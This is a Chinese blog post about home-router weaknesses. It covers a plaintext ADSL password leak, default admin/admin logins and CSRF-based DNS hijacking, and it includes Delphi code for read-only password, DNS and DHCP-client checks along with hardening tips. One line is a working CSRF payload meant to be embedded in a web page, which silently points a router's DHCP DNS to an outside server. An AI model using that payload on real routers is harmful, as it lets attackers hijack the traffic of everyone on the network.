• 沙里软件

  • ShaliSoft.com [手机站]   办公桌收纳抽屉
  • 首页
  • 博文
  • 演示
  • 管理
  • 传统路由器密码泄露漏洞及DNS劫持 无线蹭网安全检测

    网络   2014/5/7 9:20:07

    传统路由器默认密码安全&DNS安全&蹭网安全

    围绕着最近比关注的一个问题,就是安全。路由器是互联网入口,多少厂家必争之地。这次央视曝光“后门”事件,也许就是预示智能路由器与传统路由器洗牌的一次机遇已经到来,谁能做好路由器安全谁就能在路由器之战占据主动权。反之“传统路由器”厂商麻木对待安全问题将被翻牌。下面我们从传统路由器解释一些“小”安全问题的发现利用和“促进安全”的一些思路和想法,也许写的不够好请大家海涵。


    1.路由器星号密码查看及明文密码泄露漏洞的发现

    传统路由型号多,固件版本多,无法在线更新软件补丁,导致很多“旧版本”“老款”路由器都可能被黑客攻击。下面我教大家通过“抓包的方式”找到一款路由器潜在的漏洞隐患,深入进去,你就知道“传统路由器”厂商对待安全的重视程度有多么弱了,希望不久将来这一局面会被“智能路由”的出现而发生改变。
    话不多说进入话题,需要准备以下环境:WinXP系统,抓包工具HttpAnalyzer我们这里用V6版本对付XP足够了。首先我们打开HttpAnalyzer点"Strat"按钮开始捕获数据包,然后我们浏览器中输入常用的路由器默认地址:“http://192.168.1.1”输入我们设置的密码,或者默认账户密码:admin、admin登陆。

    登陆后我们找到WAN口设置,功能看到密码框的圈圈了吧。

    很多早期路由器能通过星号查看器看到真实“ADSL拨号”密码的,这款已经没有这个“星号密码”问题了(当年互联星空盗刷Q币很严重就是ADSL账户明文密码被盗)。 我们来看看HttpAnalyzer抓包内容,可以看到密码处是“Hello123World”哈哈我的密码?当然不是这个是“假密码”这一处漏洞已经被厂商修复了用了一个“伪”密码。

    是不是真的没问题?没事我们点一下“高级设置”,然后再看下数据包。哎呀密码明文的泄露了!不知道哪个程序员这么粗心,修了一处问题还剩一处问题不修复,算不算留“后门”哈?

    下面是我们写的路由器默认密码检测代码,尝试admin、admin成功则代表有默认密码。

    1. procedure TChekPassThread.Execute;
      var
      http: TIdHTTP;
      begin
        FreeOnTerminate := True;
        http := TIdHTTP.Create(nil);
          try
            http.Request.Accept := '*/*';
            http.Request.AcceptLanguage := 'zh-cn';
            http.Request.UserAgent := 'Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.2;)';
            http.Request.Connection := 'Keep-Alive';
            http.Request.Username := DefaultAdmin;
            http.Request.Password := DefaultAdmin;
            http.Request.BasicAuthentication:=True;
            http.Get('http://'+IP+'/');
          finally
            if http.ResponseCode=401 then
            begin
              AddLineStr('默认密码检测结果:安全 非默认密码admin',0,False);
            end else
            begin
              AddLineStr('默认密码检测结果:危险 请立即修改默认密码admin',2,True);
            end;
            http.Free;
          end;
      end;



    2.路由器默认密码导致DNS劫持功能漏洞的验证及安全检测

    好多路由器买回来都不改默认密码?没错很多都不改!因为很多都是电脑小白能设置好路由器上网就已经很不错了,你让他改密码。万一弄个上不了网怎么办?所以很多路由器还是admin和admin!然后就有了下面的CSRF劫持DNS!漏洞利用代码如下(嵌入网页访问就中招):

    1. document.writeln('<style type="text/css">@import url(http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')


    复制代码
    实际链接为“http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6,别人利用“http://t.cn/8sfyvUE“,微博短链接加密你肉眼根本判断不了是否是安全的链接。如果你浏览器访问这个恶意链接你的DHCP服务器默认DNS就会被修改,然后只要你是自动获取IP上网,攻击者就可以让修改你的域名解析IP让你访问任意“假冒”网站(平板、手机、笔记的上网流量全被劫持走了你还有什么安全可言吗?)。

    上面我们提到都是验证这个DNS劫持漏洞相关的,下面我们写点代码检测DNS安全,需要注意的一点就是要路由安全策略需要验证“来路”,所以我们设置Referer =http://192.168.1.1/userRpm/MenuRpm.htm即可正常获取网页源码,之后只要将DHCPPara数组解析出来就可以了,是否安全还是交给用户判断了。我们这里只是简单实现查看,如果你有如何判断是否安全的想法欢迎回帖与我讨论。

    1. procedure TChekDnsThread.Execute;
      var
      http: TIdHTTP;
      Html: string;
      begin
        FreeOnTerminate := True;
        http := TIdHTTP.Create(nil);
          try
            http.Request.Accept := '*/*';
            http.Request.Referer := 'http://'+IP+'/userRpm/MenuRpm.htm';
            http.Request.AcceptLanguage := 'zh-cn';
            http.Request.UserAgent := 'Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.2;)';
            http.Request.Connection := 'Keep-Alive';
            http.Request.Username := UserName;
            http.Request.Password := PassWord;
            http.Request.BasicAuthentication:=True;
            Html:='';
            http.Get('http://'+IP+'/');
            Html:=http.get('http://'+IP+'/userRpm/LanDhcpServerRpm.htm');
          finally
            if http.ResponseCode=200 then
            begin
              Html:=CenterStr(Html,'var DHCPPara = new Array(','0,0 );');
              AddLineStr(DeleteLineBreaks(ReInfo('DNS安全检测结果:首选:'+Split(Html,',',7)+' 备用:'+Split(Html,',',8))),0,False);
            end else
            begin
              AddLineStr(('DNS安全检测失败:请检查输入的路由器密码是否正确'),1,True);
            end;
            http.Free;
          end;
      end;


    3.传统路由器蹭网安全检测实现的一些想法

    蹭网一般发生在“无线”路由器上,所以你家如果没有无线路由器的话大可放心,他蹭不了!想要实现检测功能我们需要解决登录密码问题,这个问题应该不难你自己的路由器你知道密码的。(如果真的忘记密码你就求助牙签吧他知道怎么办)传统路由器多数都是用“WWW-Authenticate”认证方式,比较古老没办法使用“图形验证码”技术防暴力破解。

    解决密码问题登陆后,在传统路由器“复杂设置界面”中找一个可以看到“连接”用户列表的功能,找了半天 就找到DHCP服务器下的客户端列表功能比较合适。对于手机、平板、笔记本这类移动设备基本上都DHCP获取IP应该是没问题,如果其他方式“有线固定IP”接入我们这里不做讨论,不算“完美解决”只是做到能用。

    下面是我们写的DHCP列表检测代码,还是没办法直接判断是否可疑是否安全交给“专业”用户。欢迎有思路或想法的回帖与我讨论。

    1. procedure TChekDHCPThread.Execute;
      var
      http: TIdHTTP;
      Html: string;
      TList:TStringList;
      I:Integer;
      begin
        FreeOnTerminate := True;
        http := TIdHTTP.Create(nil);
          try
            http.Request.Accept := '*/*';
            http.Request.Referer := 'http://'+IP+'/userRpm/MenuRpm.htm';
            http.Request.AcceptLanguage := 'zh-cn';
            http.Request.UserAgent := 'Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.2;)';
            http.Request.Connection := 'Keep-Alive';
            http.Request.Username := UserName;
            http.Request.Password := PassWord;
            http.Request.BasicAuthentication:=True;
            Html:='';
            http.Get('http://'+IP+'/');
            Html:=http.get('http://'+IP+'/userRpm/AssignedIpAddrListRpm.htm');
          finally
            if http.ResponseCode=200 then
            begin
              TList:=TStringList.Create;
              TList.Text:=ReInfo(CenterStr(Html, 'var DHCPDynList = new Array(','0,0 );'));
              if trim(TList[0])='' then TList.Delete(0);   //删除第一个空行
              Form1.lv1.Clear;
              for I:=0 to TList.Count-1 do
              begin
                if I mod 4=0 then
                begin
                  with Form1.lv1.items.add do
                  begin
                    Caption:=TList[I];
                    SubItems.Add(TList[I+1]);
                    SubItems.Add(TList[I+2]);
                    SubItems.Add(TList[I+3]);
                  end;
                end;
              end;
              Tlist.Free;
            end else
            begin
              AddLineStr(('蹭网安全检测失败:请检查输入的路由器密码是否正确'),1,True);
            end;
            http.Free;
          end;
      end;


    4.某传统路由器安全检测小精灵+源码


    这款传统路由器家庭市场占有率极高,但是安全性完善方面做的不够,结合本文内容我们将成果分享给大家。小班底小作品 非商用产品 不喜勿喷。 本软件开源开源开源,大家拿去自己玩自己改。软件只提供“只读”功能,所以大家不用担心他会搞坏路由器。开发环境:DELPHI 7 无需安装第三方控件
    相关链接:http://forum.cnsec.org/thread-92959-1-2.html、http://forum.cnsec.org/thread-92960-1-1.html

    5.路由器安全上网的一些通用建议


    1、对于路由器设备登陆密码安全,建议设置大小写字母+数字+特殊字符至少10位。
    2、登陆路由器操作后,建议使用”退出“”登出“功能完全退出。
    3、如果是主流路由器,建议定期查看官网是否有新版本的固件并及时升级。
    4、无线路由器接入安全,建议使用WPA2及更高加密方式密码长度至少10位。
    5、经常检查无线或有线接入IP,通过机器名、网络流量判断是否被黑。
    6、不访问一些不良网站和不知名网站,防止路由被CSRF劫持DNS攻击。
    7、把自己的电脑设置成固定IP地址,DNS设置运营商推荐的或8.8.8.8。
    8、关闭路由器WPS/QSS功能,防止PIN破解连接到你的无线网络。
    9、如果你的路由器支持MAC过滤、IP过滤功能可以开启,防止未知用户接入。
    10、建议购买一些信誉好和质量好的路由器厂家,请勿贪便宜购买小厂设备减少“后门”事件。

    后记

    文中提到的三个问题仅仅只是传统路由器安全中的冰山一角,传统路由器售出后,路由器自带系统基本不会再升级更新,即使在官网有新的固件包,一般的用户也没有升级路由系统的概念。用户信息遭遇各种泄露、劫持、蹭网根本就没人管,厂商不管,安全公司管不了。只能让用户自己承担风险,这不合理!虽然智能路由器并没有对传统路由器产生太大的冲击,智能路由器市场目前也不成熟,多数厂商都是在试验阶段,但是随着人们对智能产品的欲望越来越强烈,厂商通过一次次经验去完善产品,相信智能路由器日后必定会在路由器市场占据重要地位。


    阅读(1526) 分享(0)

    上一篇: JS显示隐藏密码
    下一篇: 基于HTML5技术的文件上传组件

  • 精彩推荐

    ◆ EditPlus 添加文件比较工具winmerge
    ◆ JS日期格式化扩展函数
    ◆ js判断手机网络类型
    ◆ asp.net怎么实现多线程断点续传?
    ◆ 前端性能优化 - 网页图片资源预加载
    ◆ httpd.ini手册
    ◆ IIS下PHP is_dir()/mkdir() 绝对路径目录BUG
    ◆ 什么是DNS劫持和DNS污染?谈谈运营商的流氓DNS劫持。
    ◆ php木马 隐藏在JPG图片EXIF头部中的恶意软件
    ◆ 中国市场的个人版WinRAR软件完全免费了
  • 用心做事 不能唯利是图

    • 吊儿
    • 用QQ联系我17905772
  • 搜索


  • 最新文章

    • 导出Excel 格式 mso-number-format
    • 服务器iis支持tls1.2,windows server 2008 r2 中IIS启用TLS 1.2(安装SSL后用TLS 1.2)
    • MySQL配置优化
    • EditPlus 添加文件比较工具winmerge
    • 滚动悬浮固定JS特效

  • 热门文章

    • php sso单点登录实现代码
    • 中国菜刀(China chopper) 最新黑客工具
    • redis.conf中文版(基于2.4)
    • 搜索引擎名单大全
    • php图片上传类,支持加水印,生成略缩图

  • 最新图库


  • 最新评论


  • 友情链接

  • 沙里软件

  • 最近访客

    Powered by ShaliSoft.com 豫ICP备13008529号

    免责声明:本站部分内容来源于互联网,转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,不为其版权负责,也不构成任何其他建议。如果发现侵犯版权,联系QQ17905772进行删除。